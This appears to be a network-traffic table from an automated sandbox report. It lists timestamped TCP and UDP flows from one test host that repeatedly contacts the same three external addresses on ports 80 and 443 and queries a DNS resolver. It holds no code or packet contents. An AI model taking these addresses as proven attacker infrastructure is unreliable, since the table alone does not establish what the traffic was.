Jan 11, 2025 07:31:53.925640106 CET	49913	443	192.168.2.4	104.21.16.1
Jan 11, 2025 07:31:53.929060936 CET	49913	443	192.168.2.4	104.21.16.1
Jan 11, 2025 07:31:53.929102898 CET	443	49913	104.21.16.1	192.168.2.4
Jan 11, 2025 07:31:53.929613113 CET	443	49913	104.21.16.1	192.168.2.4
Jan 11, 2025 07:31:53.975589991 CET	49913	443	192.168.2.4	104.21.16.1
Jan 11, 2025 07:31:53.988464117 CET	49913	443	192.168.2.4	104.21.16.1
Jan 11, 2025 07:31:54.031336069 CET	443	49913	104.21.16.1	192.168.2.4
Jan 11, 2025 07:31:54.099371910 CET	443	49913	104.21.16.1	192.168.2.4
Jan 11, 2025 07:31:54.099440098 CET	443	49913	104.21.16.1	192.168.2.4
Jan 11, 2025 07:31:54.099536896 CET	49913	443	192.168.2.4	104.21.16.1
Jan 11, 2025 07:31:54.189364910 CET	49913	443	192.168.2.4	104.21.16.1
Jan 11, 2025 07:32:02.021337986 CET	49892	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:02.026165962 CET	80	49892	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:02.256493092 CET	80	49892	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:02.309182882 CET	49892	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:02.452034950 CET	49968	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:02.452085018 CET	443	49968	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:02.452219009 CET	49968	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:02.452766895 CET	49968	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:02.452778101 CET	443	49968	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:03.067569971 CET	443	49968	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:03.067650080 CET	49968	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:03.069670916 CET	49968	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:03.069681883 CET	443	49968	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:03.070067883 CET	443	49968	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:03.071482897 CET	49968	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:03.115345001 CET	443	49968	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:03.115454912 CET	49968	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:03.115467072 CET	443	49968	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:03.547465086 CET	443	49968	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:03.547662973 CET	443	49968	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:03.547955036 CET	49968	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:03.548290014 CET	49968	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:03.709368944 CET	49892	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:03.710808992 CET	49978	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:03.714385033 CET	80	49892	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:03.714443922 CET	49892	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:03.715646982 CET	80	49978	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:03.715749979 CET	49978	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:03.716248989 CET	49978	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:03.720988035 CET	80	49978	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:04.342973948 CET	80	49978	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:04.345633984 CET	49983	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:04.345689058 CET	443	49983	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:04.345762014 CET	49983	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:04.346467972 CET	49983	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:04.346492052 CET	443	49983	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:04.387334108 CET	49978	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:04.965477943 CET	443	49983	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:04.966996908 CET	49983	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:04.967057943 CET	443	49983	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:04.967134953 CET	49983	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:04.967156887 CET	443	49983	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:05.375880003 CET	443	49983	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:05.375960112 CET	443	49983	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:05.376122952 CET	49983	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:05.388364077 CET	49983	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:05.440812111 CET	49978	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:05.442456007 CET	49991	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:05.445938110 CET	80	49978	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:05.445997000 CET	49978	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:05.447272062 CET	80	49991	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:05.447446108 CET	49991	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:05.447618008 CET	49991	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:05.452357054 CET	80	49991	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:06.082190990 CET	80	49991	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:06.084702969 CET	49991	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:06.088251114 CET	49996	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:06.088279009 CET	443	49996	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:06.088666916 CET	49996	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:06.088666916 CET	49996	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:06.088695049 CET	443	49996	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:06.089651108 CET	80	49991	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:06.089714050 CET	49991	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:06.707727909 CET	443	49996	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:06.709460974 CET	49996	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:06.709480047 CET	443	49996	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:06.709718943 CET	49996	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:06.709723949 CET	443	49996	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:07.002765894 CET	443	49996	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:07.002862930 CET	443	49996	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:07.003339052 CET	49996	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:07.004268885 CET	49996	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:07.008994102 CET	50003	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:07.013878107 CET	80	50003	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:07.016376972 CET	50003	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:07.016571045 CET	50003	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:07.021375895 CET	80	50003	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:07.642252922 CET	80	50003	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:07.643531084 CET	50007	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:07.643548012 CET	443	50007	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:07.643887997 CET	50007	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:07.643887997 CET	50007	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:07.643908024 CET	443	50007	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:07.684185982 CET	50003	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:08.247895956 CET	443	50007	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:08.249901056 CET	50007	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:08.249911070 CET	443	50007	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:08.249963999 CET	50007	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:08.249970913 CET	443	50007	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:08.524871111 CET	443	50007	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:08.524947882 CET	443	50007	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:08.525183916 CET	50007	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:08.525464058 CET	50007	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:08.529057026 CET	50003	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:08.530261040 CET	50012	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:08.534027100 CET	80	50003	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:08.534097910 CET	50003	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:08.535027981 CET	80	50012	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:08.535106897 CET	50012	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:08.535211086 CET	50012	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:08.540033102 CET	80	50012	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:10.405659914 CET	80	50012	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:10.407286882 CET	50016	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:10.407356024 CET	443	50016	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:10.407435894 CET	50016	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:10.407783985 CET	50016	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:10.407804012 CET	443	50016	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:10.449985027 CET	50012	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:11.031841993 CET	443	50016	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:11.033807039 CET	50016	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:11.033828974 CET	443	50016	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:11.033974886 CET	50016	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:11.033981085 CET	443	50016	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:11.383148909 CET	443	50016	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:11.383234978 CET	443	50016	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:11.383466005 CET	50016	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:11.384020090 CET	50016	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:11.387867928 CET	50012	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:11.389174938 CET	50017	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:11.392888069 CET	80	50012	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:11.392978907 CET	50012	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:11.394047022 CET	80	50017	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:11.394130945 CET	50017	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:11.394243956 CET	50017	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:11.399104118 CET	80	50017	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:12.024065971 CET	80	50017	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:12.025650024 CET	50018	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:12.025701046 CET	443	50018	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:12.025790930 CET	50018	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:12.026223898 CET	50018	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:12.026237965 CET	443	50018	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:12.075054884 CET	50017	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:12.630654097 CET	443	50018	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:12.632333040 CET	50018	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:12.632361889 CET	443	50018	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:12.632427931 CET	50018	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:12.632436037 CET	443	50018	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:12.919984102 CET	443	50018	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:12.920066118 CET	443	50018	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:12.920232058 CET	50018	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:12.920696974 CET	50018	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:12.923980951 CET	50017	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:12.925143957 CET	50019	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:12.929760933 CET	80	50017	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:12.929845095 CET	50017	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:12.930627108 CET	80	50019	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:12.930710077 CET	50019	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:12.930804014 CET	50019	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:12.936537027 CET	80	50019	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:15.351646900 CET	80	50019	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:15.353002071 CET	50020	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:15.353044987 CET	443	50020	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:15.353118896 CET	50020	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:15.353467941 CET	50020	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:15.353478909 CET	443	50020	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:15.402988911 CET	50019	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:15.959719896 CET	443	50020	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:15.961769104 CET	50020	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:15.961790085 CET	443	50020	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:15.961843014 CET	50020	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:15.961849928 CET	443	50020	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:16.351779938 CET	443	50020	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:16.351864100 CET	443	50020	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:16.351917028 CET	50020	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:16.352346897 CET	50020	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:16.355803967 CET	50019	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:16.357058048 CET	50021	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:16.361881018 CET	80	50019	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:16.361896992 CET	80	50021	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:16.361953974 CET	50019	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:16.361993074 CET	50021	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:16.362076998 CET	50021	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:16.366801023 CET	80	50021	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:17.080642939 CET	80	50021	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:17.082160950 CET	50022	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:17.082207918 CET	443	50022	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:17.082279921 CET	50022	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:17.082617998 CET	50022	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:17.082627058 CET	443	50022	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:17.121737003 CET	50021	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:17.694645882 CET	443	50022	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:17.696610928 CET	50022	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:17.696641922 CET	443	50022	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:17.696715117 CET	50022	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:17.696722984 CET	443	50022	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:17.916883945 CET	443	50022	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:17.916958094 CET	443	50022	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:17.917144060 CET	50022	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:17.917773008 CET	50022	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:17.921134949 CET	50021	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:17.922359943 CET	50023	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:17.926340103 CET	80	50021	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:17.926433086 CET	50021	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:17.927247047 CET	80	50023	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:17.927350044 CET	50023	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:17.927453995 CET	50023	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:17.932291031 CET	80	50023	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:20.382468939 CET	80	50023	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:20.384061098 CET	50024	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:20.384120941 CET	443	50024	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:20.384197950 CET	50024	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:20.384545088 CET	50024	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:20.384567022 CET	443	50024	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:20.434408903 CET	50023	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:20.992873907 CET	443	50024	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:20.994704008 CET	50024	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:20.994775057 CET	443	50024	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:20.994856119 CET	50024	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:20.994880915 CET	443	50024	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:21.217087984 CET	443	50024	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:21.217168093 CET	443	50024	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:21.217225075 CET	50024	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:21.217767000 CET	50024	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:21.220927954 CET	50023	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:21.221966982 CET	50025	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:21.225860119 CET	80	50023	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:21.225934982 CET	50023	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:21.226809025 CET	80	50025	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:21.226885080 CET	50025	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:21.226994991 CET	50025	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:21.231781006 CET	80	50025	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:23.261779070 CET	80	50025	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:23.263534069 CET	50026	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:23.263586998 CET	443	50026	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:23.263668060 CET	50026	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:23.264039993 CET	50026	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:23.264050007 CET	443	50026	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:23.309338093 CET	50025	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:23.888890982 CET	443	50026	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:23.891207933 CET	50026	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:23.891242027 CET	443	50026	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:23.891304016 CET	50026	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:23.891310930 CET	443	50026	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:24.193463087 CET	443	50026	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:24.193538904 CET	443	50026	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:24.193627119 CET	50026	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:24.194386005 CET	50026	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:24.197644949 CET	50025	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:24.198990107 CET	50027	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:24.202584028 CET	80	50025	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:24.202675104 CET	50025	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:24.204303980 CET	80	50027	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:24.204392910 CET	50027	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:24.204605103 CET	50027	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:24.209333897 CET	80	50027	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:26.059494972 CET	80	50027	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:26.061218023 CET	50028	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:26.061285973 CET	443	50028	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:26.061404943 CET	50028	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:26.061815977 CET	50028	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:26.061851025 CET	443	50028	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:26.106314898 CET	50027	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:26.667332888 CET	443	50028	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:26.669328928 CET	50028	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:26.669406891 CET	443	50028	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:26.669492006 CET	50028	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:26.669507027 CET	443	50028	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:27.018300056 CET	443	50028	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:27.018476009 CET	443	50028	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:27.018560886 CET	50028	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:27.018974066 CET	50028	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:27.022820950 CET	50027	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:27.023886919 CET	50029	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:27.028770924 CET	80	50027	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:27.028862953 CET	50027	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:27.029578924 CET	80	50029	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:27.029675961 CET	50029	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:27.029798031 CET	50029	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:27.035805941 CET	80	50029	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:28.210283995 CET	80	50029	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:28.214818001 CET	50030	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:28.214931011 CET	443	50030	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:28.215146065 CET	50030	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:28.215442896 CET	50030	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:28.215485096 CET	443	50030	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:28.262521029 CET	50029	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:28.841892004 CET	443	50030	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:28.843874931 CET	50030	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:28.843914032 CET	443	50030	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:28.843964100 CET	50030	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:28.843975067 CET	443	50030	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:29.166703939 CET	443	50030	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:29.166794062 CET	443	50030	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:29.166867018 CET	50030	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:29.167392015 CET	50030	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:29.173394918 CET	50029	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:29.174402952 CET	50031	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:29.178386927 CET	80	50029	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:29.178432941 CET	50029	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:29.179223061 CET	80	50031	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:29.179289103 CET	50031	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:29.179406881 CET	50031	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:29.184104919 CET	80	50031	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:30.668837070 CET	80	50031	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:30.670599937 CET	50032	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:30.670710087 CET	443	50032	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:30.670815945 CET	50032	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:30.671149015 CET	50032	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:30.671164036 CET	443	50032	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:30.715610981 CET	50031	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:31.309509039 CET	443	50032	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:31.356206894 CET	50032	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:33.255340099 CET	50032	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:33.255420923 CET	443	50032	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:33.255486965 CET	50032	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:33.255506992 CET	443	50032	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:33.677009106 CET	443	50032	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:33.677084923 CET	443	50032	149.154.167.220	192.168.2.4
Jan 11, 2025 07:32:33.677238941 CET	50032	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:33.677661896 CET	50032	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:32:33.679944038 CET	50031	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:33.680788040 CET	50033	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:33.685666084 CET	80	50033	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:33.685774088 CET	50033	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:33.685843945 CET	50033	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:32:33.689273119 CET	80	50031	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:33.690742016 CET	80	50033	193.122.6.168	192.168.2.4
Jan 11, 2025 07:32:33.690804958 CET	50031	80	192.168.2.4	193.122.6.168

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:31:45.357455969 CET	54838	53	192.168.2.4	1.1.1.1
Jan 11, 2025 07:31:45.364461899 CET	53	54838	1.1.1.1	192.168.2.4
Jan 11, 2025 07:31:46.481794119 CET	61084	53	192.168.2.4	1.1.1.1
Jan 11, 2025 07:31:46.488658905 CET	53	61084	1.1.1.1	192.168.2.4
Jan 11, 2025 07:31:50.704898119 CET	64467	53	192.168.2.4	1.1.1.1
Jan 11, 2025 07:31:50.712007999 CET	53	64467	1.1.1.1	192.168.2.4
Jan 11, 2025 07:31:53.389915943 CET	61756	53	192.168.2.4	1.1.1.1
Jan 11, 2025 07:31:53.397526979 CET	53	61756	1.1.1.1	192.168.2.4
Jan 11, 2025 07:32:02.375968933 CET	54564	53	192.168.2.4	1.1.1.1
Jan 11, 2025 07:32:02.383502007 CET	53	54564	1.1.1.1	192.168.2.4

DNS Queries

